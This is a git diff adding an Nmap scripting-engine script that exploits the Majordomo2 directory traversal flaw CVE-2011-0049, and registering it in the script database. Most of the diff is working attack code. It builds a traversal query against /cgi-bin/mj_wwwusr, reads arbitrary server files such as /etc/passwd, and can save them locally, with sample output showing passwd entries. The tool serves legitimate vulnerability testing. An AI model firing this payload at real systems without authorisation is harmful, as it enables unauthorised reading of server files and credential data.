diff --git a/scripts/http-majordomo2-dir-traversal.nse b/scripts/http-majordomo2-dir-traversal.nse new file mode 100644 index 000000000..6b026ef3f --- /dev/null +++ b/scripts/http-majordomo2-dir-traversal.nse @@ -0,0 +1,90 @@ +description = [[ +Exploits a directory traversal vulnerability existing in Majordomo2 to retrieve remote files. (CVE-2011-0049). + +Vulnerability originally discovered by Michael Brooks. + +For more information about this vulnerability: +* http://www.mj2.org/ +* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0049 +* http://www.exploit-db.com/exploits/16103/ +]] + +--- +-- @usage +-- nmap -p80 --script http-majordomo2-dir-traversal +-- +-- @output +-- PORT STATE SERVICE +-- 80/tcp open http syn-ack +-- | http-majordomo2-dir-traversal: /etc/passwd was found: +-- | +-- | root:x:0:0:root:/root:/bin/bash +-- | bin:x:1:1:bin:/bin:/sbin/nologin +-- | +-- +-- @args http-majordomo2-dir-traversal.rfile Remote file to download. Default: /etc/passwd +-- @args http-majordomo2-dir-traversal.uri URI Path to mj_wwwusr. Default: /cgi-bin/mj_wwwusr +-- @args http-majordomo2-dir-traversal.outfile If set it saves the remote file to this location. +-- +-- Other arguments you might want to use with this script: +-- * http.useragent - Sets user agent +-- + +author = "Paulino Calderon" +license = "Same as Nmap--See http://nmap.org/book/man-legal.html" +categories = {"intrusive", "vuln", "exploit"} + +require "http" +require "shortport" + +portrule = shortport.http + +local MAJORDOMO2_EXPLOIT_QRY = "?passw=&list=GLOBAL&user=&func=help&extra=/../../../../../../../.." +local MAJORDOMO2_EXPLOIT_URI = "/cgi-bin/mj_wwwusr" +local DEFAULT_REMOTE_FILE = "/etc/passwd" + +--- +--Writes string to file +--Taken from: hostmap.nse +local function write_file(filename, contents) + local f, err = io.open(filename, "w") + if not f then + return f, err + end + f:write(contents) + f:close() + return true +end + +--- +-- MAIN +--- +action = function(host, port) + local response, rfile, rpath, uri, evil_uri, rfile_content, filewrite + local output_lines = {} + + filewrite = nmap.registry.args["http-majordomo2-dir-traversal.outfile"] + uri = nmap.registry.args["http-majordomo2-dir-traversal.uri"] or MAJORDOMO2_EXPLOIT_URI + rfile = nmap.registry.args["http-majordomo2-dir-traversal.rfile"] or DEFAULT_REMOTE_FILE + evil_uri = uri..MAJORDOMO2_EXPLOIT_QRY..rfile + + stdnse.print_debug(1, "HTTP GET %s%s", stdnse.get_hostname(host), evil_uri) + response = http.get(host, port, evil_uri) + if response.body and response.status==200 then + if response.body:match("unknowntopic") then + stdnse.print_debug(1, "%s:[Error] The server is not vulnerable, '%s' was not found or the web server has insufficient permissions to read it", SCRIPT_NAME, rfile) + return + end + _, _, rfile_content = string.find(response.body, '
(.*)')
+    output_lines[#output_lines+1] = rfile.." was found:\n"..rfile_content
+    if filewrite then
+      local status, err = write_file(filewrite,  rfile_content)
+      if status then
+        output_lines[#output_lines+1] = string.format("%s saved to %s\n", rfile, filewrite)
+      else
+        output_lines[#output_lines+1] = string.format("Error saving %s to %s: %s\n", rfile, filewrite, err)
+      end
+    end
+    return stdnse.strjoin("\n", output_lines)
+  end
+end
diff --git a/scripts/script.db b/scripts/script.db
index 7d5e47a5e..35704f14f 100644
--- a/scripts/script.db
+++ b/scripts/script.db
@@ -68,6 +68,7 @@ Entry { filename = "http-favicon.nse", categories = { "default", "discovery", "s
 Entry { filename = "http-form-brute.nse", categories = { "auth", "intrusive", } }
 Entry { filename = "http-headers.nse", categories = { "discovery", "safe", } }
 Entry { filename = "http-iis-webdav-vuln.nse", categories = { "intrusive", "vuln", } }
+Entry { filename = "http-majordomo2-dir-traversal.nse", categories = { "exploit", "intrusive", "vuln", } }
 Entry { filename = "http-malware-host.nse", categories = { "malware", "safe", } }
 Entry { filename = "http-methods.nse", categories = { "default", "safe", } }
 Entry { filename = "http-open-proxy.nse", categories = { "default", "discovery", "external", "safe", } }